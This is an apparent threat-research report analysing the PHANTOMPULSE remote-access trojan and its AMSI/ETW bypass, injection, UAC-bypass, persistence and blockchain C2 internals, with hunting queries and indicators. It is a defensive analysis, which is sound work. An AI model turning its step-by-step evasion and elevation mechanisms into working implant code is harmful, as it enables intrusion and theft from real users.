PHANTOMPULSE resolves ntdll functions by walking PEB→Ldr with DJB2 hashes, extracts System Service Numbers (SSNs) from each NT function's prologue, and builds private syscall stubs. These stubs are wrapped in higher-level helpers used throughout the rest of the implant:

NtCreateFile_Wrap
NtWriteFile_Wrap
NtClose_Wrap
NtCreateSection_Wrap
NtMapViewOfSection_Wrap
NtProtectVirtualMemory_Wrap
NtWriteVirtualMemory_Wrap

The rest of the implant calls these wrappers instead of kernel32/ntdll exports, defeating user-mode ntdll hooks (IAT replacements, inline detours, or trampoline patches) that EDR products inject into the documented API surface.

A single helper function routes every disk write through NtCreateFile + NtWriteFile directly, with delete-and-retry on access errors.

String and config obfuscation

PHANTOMPULSE uses four XOR layers for different artifacts:

| What | Key | Where the key lives | | ----- | ----- | ----- | | C2 fallback URL, mutex, drop-path filenames | 16-byte: F7 7C 8E 40 DF C1 7B E5 E7 4D 86 79 D5 B3 53 41 | Embedded in .rdata | | Blockchain provider hostnames (UTF-16 LE) | 8-byte: 5A 3C 7E 1D 9F 2B 4E 8A | Embedded in .rdata | | COM Elevation Moniker, keylog file payload | 0xE95CA237, computed at runtime to keep the constant out of .rdata | Computed, not stored | | C2 URL pulled from blockchain transaction input | The resolver wallet address itself | Reused from the public lookup key |

AMSI, WLDP, and ETW bypass via hardware breakpoints

PHANTOMPULSE disables AMSI, the Windows Lockdown Policy code-trust check, and ETW telemetry through a single shared primitive: a hardware breakpoint planted on each API entry, intercepted by a vectored exception handler that fakes the return value without inline patching.

| Slot | Target API | Spoofed return (RAX) | | ----- | ----- | ----- | | DR0 | WldpQueryDynamicCodeTrust | 0 (S_OK) | | DR1 | AmsiScanBuffer | 0x80070057 (E_INVALIDARG) | | DR2 | EtwEventWrite | 0 (STATUS_SUCCESS) |

The mechanism, step by step:

The implant resolves the target API. AMSI and WLDP go through LoadLibraryA + hash-based export lookup; ETW uses a PEB→Ldr walk since ntdll is already loaded.
The HWBP descriptor (target API address, mode, spoofed return value) is written into one of four 40-byte slots in a global slot table.
A helper thread suspends the target thread, calls NtGetContextThread / NtSetContextThread to write DR0–DR3 + DR7, then resumes. (If the implant's vectored exception handler is already installed, an in-process STATUS_BREAKPOINT is raised instead, letting the VEH read the slot table and program the DRs without a helper thread.)
When the protected API is called, the CPU raises Debug Exception on the function's first instruction.
The implant's vectored exception handler intercepts the Debug Exception, walks its 4-slot table to find the firing address, and modifies the thread context: CONTEXT.Rax is set to the per-slot spoofed return value, CONTEXT.Rip is redirected to a pre-stored "skip" thunk that returns to the caller.
The handler returns EXCEPTION_CONTINUE_EXECUTION. The caller sees the spoofed RAX as if the API had run.

The dispatcher serves two paths. One handler (VEH_Dispatcher) processes both the implant's own RaiseException(STATUS_BREAKPOINT) calls (used to seed and re-program the DR registers from the slot table) and the STATUS_SINGLE_STEP exceptions that fire when a protected API is called. The exception code drives the branch: STATUS_BREAKPOINT triggers DR programming, STATUS_SINGLE_STEP triggers the spoof.

The handler is also not registered directly. AddVectoredExceptionHandler receives a tiny JMP thunk allocated at runtime in a fresh MEM_PRIVATE page (VirtualAlloc + VirtualProtect to PAGE_EXECUTE_READ). The thunk is a JMP [RIP-relative] indirect jump (6-byte opcode FF 25 00 00 00 00) followed inline by the dispatcher's address. Because no bytes are ever written to AmsiScanBuffer, WldpQueryDynamicCodeTrust, or EtwEventWrite, signature-based detection that scans for prologue patches misses this entirely.

Build variant: active and dormant subsystems

Several subsystems exist in the binary as code or strings, but are not active in this build. This is a stripped-down build of a larger codebase.

NTDLL unhooking: Debug strings for an unhooking subsystem live in .rdata (UnhookNtdll: ntdll base = %p, applied %d relocation fixups to .text), but nothing references them. Dead in this variant.
Registry-resident PE blob loader: earlier builds stored the next-stage PE inside the registry. This build does not, but the uninstall routine still cleans up the legacy registry blob.
COM hijack persistence: never installed by this build. Cleanup logic for it remains in the uninstall routine.
Print monitor persistence: same pattern as COM hijack; install path absent, uninstall path retained.

The last three (registry blob loader, COM hijack, print monitor) show the opposite pattern: cleanup logic with no install logic, retained for backward compatibility against older deployments.

| Feature | payloads build | Evidence | | ----- | ----- | ----- | | Direct syscalls (SSN extraction) | Active | SSN extraction + stub generation confirmed | | AMSI / WLDP / ETW HWBP bypass | Active | DR0/DR1/DR2 via shared helper-thread primitive | | Three-way process injection | Active | PhantomInject, DbgNexum, ManualMap are all functional | | Blockchain C2 resolution | Active | Three Blockscout providers queried | | NTDLL unhooking | Dead code | Strings present, zero code references | | HEIS encryption | Disabled | Code encrypt/decrypt stubbed | | Registry-resident PE blob loader | Legacy only | Only cleaned during uninstall | | COM hijack persistence | Legacy only | Cleaned during uninstall, never installed | | Print monitor persistence | Legacy only | Cleaned during uninstall, never installed | | Decoy strings | Active | 4 unreferenced decoy strings in .rdata |

Command and control

Blockchain C2 resolution

PHANTOMPULSE decentralizes C2 lookup through three Blockscout providers:

eth.blockscout[.]com (Ethereum L1)
base.blockscout[.]com (Base L2)
optimism.blockscout[.]com (Optimism L2)

The wallet address 0xc117688c530b660e15085bF3A2B664117d8672aA is XOR-decrypted from storage with a 16-byte key. For each provider, the implant issues an HTTPS GET (port 443, SSL cert errors ignored), pulls the input field of the latest transaction, hex-decodes it, XOR-decrypts with the wallet address bytes as the key, and validates that the result begins with http. On total failure, it falls back to the hardcoded URL https://panel.fefea22134[.]net.

The resolver does not verify the sender of the transaction. It only checks that the latest decoded input starts with http. Anyone can submit a transaction to that wallet with their own URL XOR-encoded under the wallet bytes, and every PHANTOMPULSE instance of that campaign that polls afterward resolves to that URL. For network defenders, this is a viable sinkhole at the cost of one transaction.

Endpoints and heartbeat

Five API paths are constructed at runtime, re-encrypted in memory with a per-session key:

| Path | Method | Content-Type | Purpose | | ----- | ----- | ----- | ----- | | /v1/telemetry/report | POST | application/json | Heartbeat with full system telemetry | | /v1/telemetry/tasks/ | GET | | Command fetch | | /v1/telemetry/upload/ | POST | image/bmp | Screenshot / file upload | | /v1/telemetry/result | POST | application/json | Command result delivery | | /v1/telemetry/keylog/ | POST | text/plain | Keylog data upload |

The heartbeat sends a full system profile as JSON:

{
  "machine_id": "",
  "status": "online",
  "cpu": "",
  "gpu": "",
  "ram_mb": "",
  "os": "",
  "username": "",
  "computer_name": "",
  "cores": "",
  "screen_w": "",
  "screen_h": "",
  "privilege": "",
  "build": "payloads",
  "public_ip": "",
  "av_list": ["", ""],
  "apps": ["", ""],
  "last_cmd": "",
  "last_cmd_result": ""
}

Two response fields are parsed: "status":"deleted" triggers full uninstall; "ip":"" populates the public-IP cache, but only if local discovery (ipif[.]org / icanhazip[.]com/ checkip.amazonaws[.]com) hasn't already filled it.

Loop cadence and resilience

Sleep: uniform random in [20, 40] seconds
Self-healing: runs at iteration 2, then every 10th iteration
Health-monitor tick: first call after the implant comes online, then every 5th iteration thereafter. Populates a local system-info struct (CPU%, RAM, OS version, uptime, computer name).
Failure threshold: 10 consecutive heartbeat failures trigger a self-restart for stuck SSL/TLS recovery
Re-resolution: on failure, blockchain re-resolution runs; if the resolved URL changes, the failure counter resets
Public IP: api4.ipify[.]org → ipv4.icanhazip[.]com → checkip.amazonaws[.]com
Connectivity check: probes microsoft[.]com, google[.]com, cloudflare[.]com, github[.]com

Command dispatch

The command dispatcher routes commands by DJB2 hash. Eight commands total:

| Hash | Command | Behavior | | ----- | ----- | ----- | | 0x04CF1142 | inject | Inject shellcode/DLL/EXE. Routes by type: shellcode → PhantomInject; DLL → ManualMap; EXE → DbgNexum. The AMSI and WLDP HWBP bypasses are installed on the first inject call (the ETW HWBP is already in place from EvasionInit). | | 0x7C95D91A | drop | Drop the file to the disk and execute. Supports DLL, EXE, shellcode (APC injection), and MSI payloads. | | 0x9A37F083 | screenshot | GDI capture, downscale to 960px wide, upload as BMP. | | 0x08DEDEF0 | keylog | Start or stop the inline keylogger. | | 0x4EE251FF | uninstall | 6-step cleanup and termination. | | 0x65CCC50B | elevate | UAC bypass via the schuac technique (IElevatedFactoryServer::ServerCreateElevatedObject(CLSID_TaskScheduler)); registers a transient elevated task that relaunches the implant. | | 0xB3B5B880 | downgrade | SYSTEM → elevated admin transition. | | 0x20CE3BC8 | (self-restart) | Cascading self-terminate: NtTerminateProcess(-1, 0) direct syscall first; if that fails to resolve, falls back to ExitProcess(0). Persistence relaunches the implant on the next scheduled task tick. Operationally equivalent to a soft restart. |

The eighth handler has no debug log naming it. It self-terminates; the scheduled task relaunches the implant on the next tick. The lack of LLM-style scaffolding (debug strings) makes this one of the few handlers in the binary that appears to be added by the human author rather than LLM-generated.

Injection techniques

PHANTOMPULSE ships three injection techniques, one per payload type. The inject C2 command routes shellcode to PhantomInject, DLLs to ManualMap, and EXEs to DbgNexum.

The AMSI/WLDP hardware-breakpoint bypasses are installed on the first inject call, before any injector runs.

| Payload type | Injector | Strategy | | ----- | ----- | ----- | | Shellcode | PhantomInject | Module stomping in dbghelp.dll via SEC_IMAGE | | EXE | DbgNexum | Debug-API state machine | | DLL | ManualMap | Full PE manual mapping |

PhantomInject: module stomping into dbghelp.dll

Module stomping avoids MEM_PRIVATE allocation by mapping a legitimate Windows DLL as SEC_IMAGE and overwriting .text:

Acquires SeDebugPrivilege (via OpenProcessToken / LookupPrivilegeValueW / AdjustTokenPrivileges), then walks the process snapshot for one of seven host-process candidates (case-insensitive match). Tried in priority order: sihost.exe, taskhostw.exe, backgroundTaskHost.exe, RuntimeBroker.exe, dllhost.exe, ctfmon.exe, explorer.exe.
Opens dbghelp.dll via NtOpenFile, creates SEC_IMAGE section, maps into target via NtMapViewOfSection
Parses the local copy for .text RVA and size, then frees it
Selects and suspends a thread, captures context
Builds an 82-byte save-call-restore trampoline
Writes shellcode + trampoline into .text of the mapped DLL
Flips protection to PAGE_EXECUTE_READ
Repoints RIP to the trampoline, resumes thread

To a memory scanner, the result looks like a thread executing inside legitimate dbghelp.dll, a file-backed image region with the right file path, section name, and first-page hash.

DbgNexum: debug API as an execution controller

DbgNexum handles EXE payloads. Rather than writing executable code into the target up front, it uses the Windows debug API to drive execution one exception at a time: a ROP chain whose gadgets are full Windows APIs in the target.

The technique is not original to PHANTOMPULSE. It is a verbatim lift of dis0rder0x00/DbgNexum, a public proof of concept published on GitHub on 2026-01-04. The operator kept the published technique name ("DbgNexum") in the implant's debug strings unchanged, and the inner state machine is a 1:1 match: the same bait API, section name, gadget chain, and constants. PHANTOMPULSE wraps the lifted x64 core with operational scaffolding the PoC does not have: host-process selection (FindHostProcessEx), a fallback that spawns a fresh SysWOW64\cmd.exe / rundll32.exe / notepad.exe, a custom PE-loading bootstrap (so it can carry full EXEs instead of raw shellcode), and a separate WoW64 cross-architecture variant.

For native x64 payloads, the implant pre-stages the PE, the bootstrap stub, and the trampoline config inside a named file-mapping section. The section name is the literal two-byte string "MZ", the implant attaches with DebugActiveProcess and creates a remote thread on FileTimeToSystemTime with a hardware breakpoint on DR0.

When the bait hits the breakpoint, a state machine drives the target through this API chain:

Redirect RIP to DbgBreakPoint+1 with the trap flag set; the resulting single-step exception bridges into the rest of the chain.
LocalAlloc(LMEM_ZEROINIT, 3), allocate the 3-byte name buffer.
memcpy(buf, kernel32_base, 2), copy "MZ" from kernel32.dll's DOS header into the buffer.
memset(stack+40, 0, 8): zero a stack arg slot.
OpenFileMappingA(0x1F, FALSE, "MZ"), open the prepared section with full section-mapping access.
MapViewOfFile(...), map it into the target.
Redirect RIP to mapped_base + 0x400, the bootstrap stub. This is the only stage logged directly: DbgNexumLoop64: stage 6 -> stub at %llx, base=%llx. (The PoC redirects to mapped_base + 0 for raw shellcode; PHANTOMPULSE adds the +0x400 offset to land on its custom PE loader.)

Each transition intercepts the next debug event, restores RSP, clears the trap flag, modifies RIP and the argument registers (RCX, RDX, R8, R9) for the next call, and continues the debuggee. DR0 is reused as an execute hardware breakpoint on each saved return address, so no inline patches or WriteProcessMemory against the target are needed. From the kernel's view, all that happened was a thread inside kernel32.dll calling LocalAlloc, OpenFileMappingA, and MapViewOfFile.

The cross-architecture path (PE32 from a 64-bit implant) is a PHANTOMPULSE-only variant the public PoC does not have. It takes a shortcut: the implant walks the target's PEB.Ldr via NtReadVirtualMemory (using ProcessWow64Information to pick the 32-bit or 64-bit PEB layout) to find a DLL with a callable entry point, then pre-maps a section containing a 32-bit loader stub and trampoline into both processes via NtCreateSection + NtMapViewOfSection. The redirect is just two stages: bait at RtlExitUserThread, then a DbgBreakPoint-mediated single step jumps RIP to the trampoline. There is no API chain on this path because the section is already mapped on both sides, so OpenFileMappingA/MapViewOfFile aren't needed.

Cross-arch host selection runs through FindHostProcessEx, which excludes critical system processes (csrss.exe, lsass.exe, smss.exe, winlogon.exe, services.exe, wininit.exe, svchost.exe, MsMpEng.exe) and falls back to spawning a fresh SysWOW64\cmd.exe / rundll32.exe / notepad.exe if no usable WoW64 host is found.

ManualMap: full PE mapper

ManualMap handles DLL payloads with a complete PE manual mapping implementation:

Validates MZ/PE signature; rejects PE32 in the x64 host path (debug-log: "PE32 DLL in x64 host is impossible")
Allocates SizeOfImage in the target via NtAllocateVirtualMemory
Copies headers and sections to a local staging buffer
Applies base relocations (IMAGE_REL_BASED_DIR64, IMAGE_REL_BASED_HIGHLOW)
Resolves imports via LoadLibraryA + GetProcAddress
Wipes PE headers (zeros SizeOfHeaders bytes)
Writes the staged image into the remote allocation
Sets per-section memory protection
Builds a 137-byte trampoline in a separate 0x2000-byte remote allocation (set to PAGE_EXECUTE_READ):

The full trampoline shellcode gist contains the complete bytes.

10. Hijacks a thread via suspend / get-context / set-context

Privilege escalation

The elevate command is a UAC bypass via the schuac technique (IElevatedFactoryServer::ServerCreateElevatedObject(CLSID_TaskScheduler)), published as UACME issue #129 by zcgonvh, currently under the ID 74.

Mechanism

MaintenanceUI.dll's CMaintenanceUIVirtualFactory (CLSID {A6BFEA43-501F-456F-A845-983D3AD7B8F0}) is registered with an Elevation registry key, so the OS hands non-admin callers an elevated instance. Its IElevatedFactoryServer interface exposes ServerCreateElevatedObject(rclsid, riid, ppv), which the elevated server uses to instantiate any other CLSID under its elevated context. PHANTOMPULSE feeds it CLSID_TaskScheduler, gets back an elevated ITaskService, and uses that service to register a HighestAvailable-RunLevel task that re-launches the implant.

The `elevate` C2 command

Inside ProcessCommands, the elevate handler:

Builds the task action. The command is \rundll32.exe with arguments \"\",DllRegisterServer. The user identifier is COMPUTERNAME\USERNAME from GetEnvironmentVariableW. ![Elevate command call][/assets/images/blockchain-c2-phantompulse-rat-sinkhole/image17.png]
Writes the .elevate marker as a single byte ("1", 0x31), not encoded parameters. The write goes through NtCreateFile + NtWriteFile to bypass user-mode hooks. The marker is just a presence flag; the elevation parameters travel inside the task definition the implant is about to register.
XOR-decrypts the COM Elevation Moniker at runtime, 66 bytes from .rdata xored against seed 0xE95CA237, which decodes to Elevation:Administrator!new:{A6BFEA43-501F-456F-A845-983D3AD7B8F0}.
Calls CoGetObject(moniker, &BIND_OPTS3{dwClassContext=CLSCTX_LOCAL_SERVER}, IID_IElevatedFactoryServer, &factory) to get an elevated IElevatedFactoryServer*, then factory->ServerCreateElevatedObject(CLSID_TaskScheduler, IID_ITaskService, &elevatedTaskService) to get an elevated ITaskService* that inherits the elevation.
Registers a transient task DotNetSvcElevateTask at HighestAvailable RunLevel with the rundll32 action above.
Deletes any pre-existing non-elevated persistent tasks so the old low-IL persistence cannot race the elevated relaunch.
Calls ITaskService::Run on the transient task and deletes it immediately afterward. Releases the single-instance mutex and exits the medium-IL implant.

Fallback retry via proxy rundll32

If the CoGetObject / RegisterTask chain fails, a fallback path takes over. A separate startup path spawns a fresh rundll32.exe "",DllRegisterServer directly via CreateProcessW, with retries (">>> .elevate redirect attempt %d"). Inside that rundll32 the implant detects isProxy=1, elevated=0 and retries the schuac sequence with three registration variants (ELEVATED+INTERACTIVE+user, ELEVATED+INTERACTIVE, INTERACTIVE). On success, the elevated task fires and the elevated relaunch takes over. On exhaustion, the proxy logs ">>> Phase 1: all registration methods failed, cleaning marker" and exits.

Elevated rundll32 relaunch

When the transient task fires, svchost.exe (Schedule) launches rundll32.exe "",DllRegisterServer under a fresh high-IL token. The implant's DllRegisterServer export runs as the entry; at startup it sees the .elevate marker and a high-IL token and routes to the elevated path:

Reads and deletes the .elevate marker.
Reinstalls persistence under elevated context, including the boot task DotNetSvcCoreTask under \Microsoft\Windows\NetFramework\, registered with INTERACTIVE_TOKEN + BootTrigger, which requires admin to register.
Continues normal implant operation as a high-IL service.

Marker-state routing

At every startup, MainEntryLogic calls GetFileAttributesW on the .elevate path. If it returns INVALID_FILE_ATTRIBUTES, the implant skips all elevation logic and starts normally. If the marker exists, the implant gathers two more facts: whether the current process is a rundll32.exe/regsvr32.exe proxy, and whether the token is elevated, then routes on the combination:

| Marker | Proxy | Elevated | What happens | | ----- | ----- | ----- | ----- | | absent | n/a | n/a | normal startup, no special routing | | present | no | no | spawn proxy rundll32 to retry the schuac chain, then exit | | present | yes | no | retry schuac inside the rundll32; on exhaustion delete marker and exit | | present | * | yes | delete marker, reinstall persistence with the boot task, continue as high-IL |

The marker file's contents are never read, its presence alone drives the routing.

Elastic Security Labs' Exploring Windows UAC Bypasses covers detection patterns for the IElevatedFactoryServer class of bypass directly.

Persistence

Three scheduled tasks

PHANTOMPULSE installs three scheduled tasks via the COM ITaskService interface, each executing rundll32.exe "",DllRegisterServer:

| Task | Trigger | Interval | RunLevel | | ----- | ----- | ----- | ----- | | DotNetSvcUpdateTask | User Logon + Time | 3 min | Standard | | DotNetSvcCoreTask | Boot + Time | 15 min | HighestAvailable + Hidden | | DotNetSvcUserTask | User Logon | On logon | Standard |

The boot task lives under \Microsoft\Windows\NetFramework\ to blend with legitimate .NET maintenance tasks. Its full XML body is embedded in .rdata, not constructed at runtime. Signatures on this literal blob are durable across builds.

Installation tries multiple RegisterTask fallback variants per task, combining INTERACTIVE_TOKEN and S4U logon types with different user-identifier formats (COMPUTER\User, SID, short username). The exact order of attempts depends on the implant's privilege context (SYSTEM, admin, or standard user); failures fall through to the next variant until one succeeds.

Stub DLL drop

The deployed agent lives encrypted and compressed inside the EXE's own .rdata. FilelessPersist decrypts it on demand and writes the result to disk via (NtCreateFile + NtWriteFile).

Decryption is two stages:

XOR-decode a blob against a rotating 16-byte key at (decoded[i] = blob[i] ^ key[i & 0xF], with decoded[0] = 0x1E as a hard-coded first byte that primes the LZNT1 chunk header).
RtlDecompressBuffer(COMPRESSION_FORMAT_LZNT1, ...) on the decoded buffer, which is a DLL (svcagent.dll).

Drop paths in priority order, falling through on access errors:

%ProgramData%\AssetMon\svcagent.dll (primary)
%APPDATA%\AssetMon\svcagent.dll
%TEMP%\svcagent.dll
A redundant %ProgramData% "sleeper" copy at a separate path

Analysts can reproduce the deployed DLL offline by reading the two regions above out of the EXE, applying the XOR loop, and feeding the result to RtlDecompressBuffer (or any LZNT1 implementation) as seen in the CyberChef screenshot below.

DLL sideload migration

A block inside SetupRegistryPE (logged with the MigrateSideload / MigrateLegacySideloads debug-string prefixes) enumerates running processes and their executable directories, hunting for diagcore.dll. When found, it overwrites the file with the current stub via CopyFileW.

Self-healing

Self-healing runs on iteration 2 of the C2 loop and every 10th iteration thereafter, gated on a deferred-persist flag being clear. The check order:

Registry-persistence check first. CheckRegistryPersistence runs at the top of the block. If it reports unhealthy, the implant immediately re-runs FilelessPersist (re-decrypts and re-drops the stub DLL) and InstallPersistence (re-registers the task triggers).
Task verification. SelfHealCheckTasks then verifies the three persistence tasks (DotNetSvcUpdateTask, DotNetSvcCoreTask, DotNetSvcUserTask) and reinstalls any that are missing. The boot task check is gated on SYSTEM-or-admin context; non-privileged callers skip it.
AV inventory refresh. DetectInstalledAV runs at the end to refresh the operator-visible AV product list.

The privilege gating matters for eviction. From a non-elevated context, the boot-task check is skipped, so the boot task is not inspected during cleanup. Full eviction requires removing all three tasks plus the registry artifact in one window from an elevated context.

Beyond the iteration-based self-heal, the implant carries a deferred-persist mechanism keyed off a single flag. On heartbeat-success paths in C2Loop_Main, once the heartbeat-success counter exceeds one with the flag set, the implant re-runs FilelessPersist + InstallPersistence and clears the flag. This gives PHANTOMPULSE a second persistence-repair path that fires on a different trigger than the iteration-based self-heal.

Collection

Inline keylogger with clipboard monitoring

The keylogger runs inline in the C2 loop with no dedicated thread. It resolves APIs from user32.dll at runtime:

| API | Purpose | | ----- | ----- | | GetAsyncKeyState | Polling key state | | GetForegroundWindow | Active window detection | | GetWindowTextA | Window title capture | | MapVirtualKeyA / ToUnicode | Key translation | | GetClipboardSequenceNumber | Clipboard change detection | | OpenClipboard / GetClipboardData | Clipboard reading (CF_UNICODETEXT) |

The log file is XOR-encrypted with the 0xE95CA237 seed. Uploads send only the delta to avoid retransmission.

Screenshot

Screenshots use GDI APIs resolved by hash. If desktop width exceeds 960 px, the image is downscaled before upload. The raw BMP is built in memory and uploaded with Content-Type: image/bmp. Triggered on-demand by the screenshot C2 command (hash 0x9A37F083).

System reconnaissance

Recon data the implant gathers:

| Data | Source | | ----- | ----- | | CPU | Registry: ProcessorNameString | | GPU | Registry display adapter DriverDesc (filters "Microsoft Basic") | | RAM | GlobalMemoryStatusEx | | OS | RtlGetVersion with build-to-version mapping (Win7 through Win11, Server 2008 through Server 2025) | | Username | GetUserNameW with fallback to LookupAccountSidW from explorer.exe token | | Privilege | Token elevation type: user, admin, admin_nouac, system | | AV | DetectInstalledAV matches running processes against a hardcoded list of ~25–30 AV vendor process names | | Apps | DetectInstalledApps checks a curated 19-name targeted-app list | | Firewall state | Reads SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\{Domain,Standard,Public}Profile to record per-profile enabled state | | Services | Running-service count via service enumeration | | Machine ID | DJB2(module name) ^ volume serial | | Public IP | Multi-API HTTPS chain |

The AV-detection list is unusually broad, covering standard Western consumer AV products such as Defender, Norton, McAfee, Avast, AVG, Avira, Bitdefender, ESET, F-Secure, G Data, Kaspersky, Panda, Sophos, Trend Micro, VIPRE, Webroot, ZoneAlarm, Comodo along with EDR vendors (CrowdStrike, SentinelOne, Cylance, Malwarebytes, HitmanPro) are all covered. The implant also probes for AhnLab V3 (South Korean), Qihoo 360 / 360 Total Security and Tencent QQPC (Chinese), and K7 Computing (Indian). The Asian-AV inclusion is uncommon for Western-targeted commodity stealers and consistent with an implant designed for victims across multiple regional markets.

The implant also checks for a curated list of 19 high-value applications by name and flags matches in the heartbeat (App detection: found %d apps):

| Category | Targets | | ----- | ----- | | Cryptocurrency wallets | ledger, trezor, bitcoin-core, electrum, exodus, atomic, guarda | | Messengers | telegram, discord, signal, viber, slack, whatsapp | | Mail clients | thunderbird, outlook | | 2FA app | authy | | File transfer / SSH | filezilla, winscp | | Gaming | steam |

The detection function (DetectInstalledApps) does not scan the registry or enumerate processes. It expands three environment-variable roots (%LOCALAPPDATA%, %APPDATA%, %ProgramFiles(x86)%), concatenates a hardcoded UTF-16 relative-path suffix per app (e.g. \Telegram Desktop\, \Authy Desktop\, \Ledger Live\, \@trezor\trezor-suite\, \Steam\steam.exe), and calls GetFileAttributesW on each path. A non-error return means the app is installed, and the name is recorded in the heartbeat results buffer.

PHANTOMPULSE itself does not extract data from any of these. The list is target reconnaissance for follow-on tasking. The operator sees in the heartbeat which high-value applications a given victim has and decides what specialized payload to push next via inject or drop.

No wallet, browser, messenger, or credential stealer functionality was identified in the analyzed sample; the targeting list is purely a presence-check feeding the operator's decision tree.

Uninstall

A 6-step cleanup, triggered by the uninstall command, by "status":"deleted" in a heartbeat response, or by a kill flag in the registry:

| Step | Action | | ----- | ----- | | 1/6 | Write kill flag to HKCU + HKLM, kill host process | | 2/6 | Remove all 3 scheduled tasks via COM + CreateProcessW fallback | | 3/6 | Remove legacy registry: NTLoad value, COM hijack keys, print monitor keys | | 4/6 | Delete stub DLLs, sleeper logs, registry PE blob, ProgramData directories | | 5/6 | Delete install path and self path from disk | | 6/6 | Terminate residual healthmon.exe and any rundll32.exe instances hosting svcagent.dll |

Step 3 reveals the legacy persistence techniques: cleanup logic for COM hijack and print monitor keys that this build never installs.

Attribution

PHANTOMPULSE's tradecraft, targeting, and infrastructure choices align with the DPRK-aligned crypto-targeting intrusion clusters that include Lazarus, BlueNoroff, UNC5342 (Contagious Interview), and APT38. Multiple independent dimensions match recent public reporting on those clusters.

Signals aligning with DPRK reporting:

Blockchain-resolved C2 via transaction input fields matches the dead-drop-resolver pattern Mandiant attributes to UNC5342 (Contagious Interview) in DPRK Adopts EtherHiding. PHANTOMPULSE's specifics (wallet-byte XOR, multi-chain Blockscout) are not a 1:1 fingerprint, but the technique class is now DPRK-tagged.
Desktop crypto-wallet enumeration set (ledger, trezor, bitcoin-core, electrum, exodus, atomic, guarda) closely matches Unit 42's RustDoor / Koi Stealer for macOS targeting list, which is DPRK-attributed.
Cross-platform Windows + macOS implants for the same victim profile (the prior REF6598 post documented a macOS sibling with C2 at 0x666[.]info and a Telegram fallback at t[.]me/ax03bot) is a BlueNoroff signature.
Telegram and messenger targeting is specifically a BlueNoroff specialty per Arctic Wolf BlueNoroff coverage.

Hunting for new C2 domains via the resolver wallet's known-plaintext signature

The XOR scheme used by the blockchain resolver leaks a stable 2-byte signature defenders can hunt against the entire chain, not just one wallet.

Two facts combine: every C2 URL begins with ht (from http:// or https://), and the XOR key is the wallet's ASCII address verbatim, so its first two key bytes are always the literal characters 0 and x. XOR-ing ht against 0x yields \x58 \x0c. Every encrypted input field produced by a PHANTOMPULSE-style resolver, on any chain, signed by any related wallet, begins with the four hex characters 580c.

This converts the hunt from monitoring one wallet into sweeping the chain for the signature. Public Ethereum, Base, and Optimism transaction data is queryable via BigQuery, Dune, or full archive nodes. A query against the public Ethereum transactions dataset for input values starting with 0x580c, scoped to a recent block-timestamp window, surfaces previously-unknown resolver wallets used by the same codebase. Each match is validated by decoding with the sender wallet's ASCII address as the key: a real C2 URL begins with http after decoding. The following CyberChef recipe can be used to decrypt the C2 URL.

SELECT 
    block_timestamp AS block_time, 
    from_address AS `from`, 
    to_address AS `to`, 
    input AS data
FROM `bigquery-public-data.crypto_ethereum.transactions`
WHERE block_timestamp >= '2026-04-01 00:00:00'
  AND input LIKE '0x580c%'
ORDER BY block_timestamp DESC
LIMIT 10000;

CyberChef can decrypt the input data to reveal the domain, as shown in the screenshot below.

Conclusion

PHANTOMPULSE is engineered from published components: module stomping, debug-API state machines, manual mapping, hardware-breakpoint AMSI/WLDP/ETW bypass, scheduled-task persistence, and blockchain C2. The combination and the hardening that ties it together point to a mature codebase under active development. The durable signals are behavioral and are covered by Elastic's behavioral protections for REF6598.

PHANTOMPULSE and MITRE ATT&CK

Elastic uses the MITRE ATT\&CK framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.

Tactics

Tactics represent the why of a technique or sub-technique. It is the adversary's tactical goal: the reason for performing an action.

Techniques

Techniques represent how an adversary achieves a tactical goal by performing an action.

Remediating

YARA

Elastic Security has created YARA rules to identify this activity.

Windows.Trojan.PhantomPulse

Observations

| Observable | Type | Name | Reference | | ----- | ----- | ----- | ----- | | 33dacf9f854f636216e5062ca252df8e5bed652efd78b86512f5b868b11ee70f | SHA-256 | PHANTOMPULSE RAT | Final payload | | 70bbb38b70fd836d66e8166ec27be9aa8535b3876596fc80c45e3de4ce327980 | SHA-256 | syncobs.exe | PHANTOMPULL loader | | def66275fa3baffb16e6e4ae0297861d9790ae7161fbc271a2ba05d121f13c70 | SHA-256 | Go beacon | GTESTIC_WIN check-in | | panel.fefea22134[.]net | domain | C2 panel | PHANTOMPULSE hardcoded fallback | | fea22134[.]net | domain | C2 domain | Encrypted in binary | | 195.3.222[.]251 | ipv4-addr | Staging server | PowerShell/loader delivery | | 0xc117688c530b660e15085bF3A2B664117d8672aA | crypto-wallet | Blockchain C2 wallet | ETH/Base/Optimism | | 0x38796B8479fDAE0A72e5E7e326c87a637D0Cbc0E | crypto-wallet | Funding wallet | C2 resolution funding | | eth.blockscout[.]com | domain | Blockchain provider | C2 URL resolution | | base.blockscout[.]com | domain | Blockchain provider | C2 URL resolution | | optimism.blockscout[.]com | domain | Blockchain provider | C2 URL resolution | | hVNBUORXNiFLhYYh | mutex | Single instance | XOR-decrypted | | svcagent.dll | file-name | Stub DLL | Persistence payload | | AssetMon | directory | Stub DLL directory | %ProgramData% or %APPDATA% | | healthmon.exe | file-name | Dropper | Original executable name | | diagcore.dll | file-name | Legacy sideload DLL | Migrated by MigrateSideload | | .elevate | file-name | Elevation marker | Routes the elevated relaunch | | DotNetSvcUpdateTask | scheduled-task | Primary persistence | 3-min interval | | DotNetSvcCoreTask | scheduled-task | SYSTEM persistence | 15-min, hidden | | DotNetSvcUserTask | scheduled-task | User persistence | Logon trigger | | EdgeWebViewUpdateTask | scheduled-task | Legacy task | Cleaned during uninstall | | \Microsoft\Windows\NetFramework\DotNetSvcCoreTask | task-uri | Boot task path | Hidden scheduled task | | Elevation:Administrator!new:{A6BFEA43-501F-456F-A845-983D3AD7B8F0} | com-moniker | UAC bypass | Elevated ITaskService | | 0x666[.]info | domain | macOS C2 | macOS dropper | | t[.]me/ax03bot | url | Telegram fallback | macOS C2 dead-drop | | thoroughly-publisher-troy-clara[.]trycloudflare[.]com | domain | Prior C2 | Cloudflare Tunnel |

References

Prior reporting and toolkits referenced in this analysis:

Phantom in the vault: Obsidian abused to deliver PhantomPulse RAT

Salim Bitam,Samir Bousseaden,Daniel Stepanic — Tue, 14 Apr 2026 00:00:00 GMT

If you're interested in a deeper technical analysis of PHANTOMPULSE itself, covering its injection engines, persistence internals, and C2 protocol in greater detail, check out this follow-on analysis of the PHANTOMPULSE malware.

Preamble

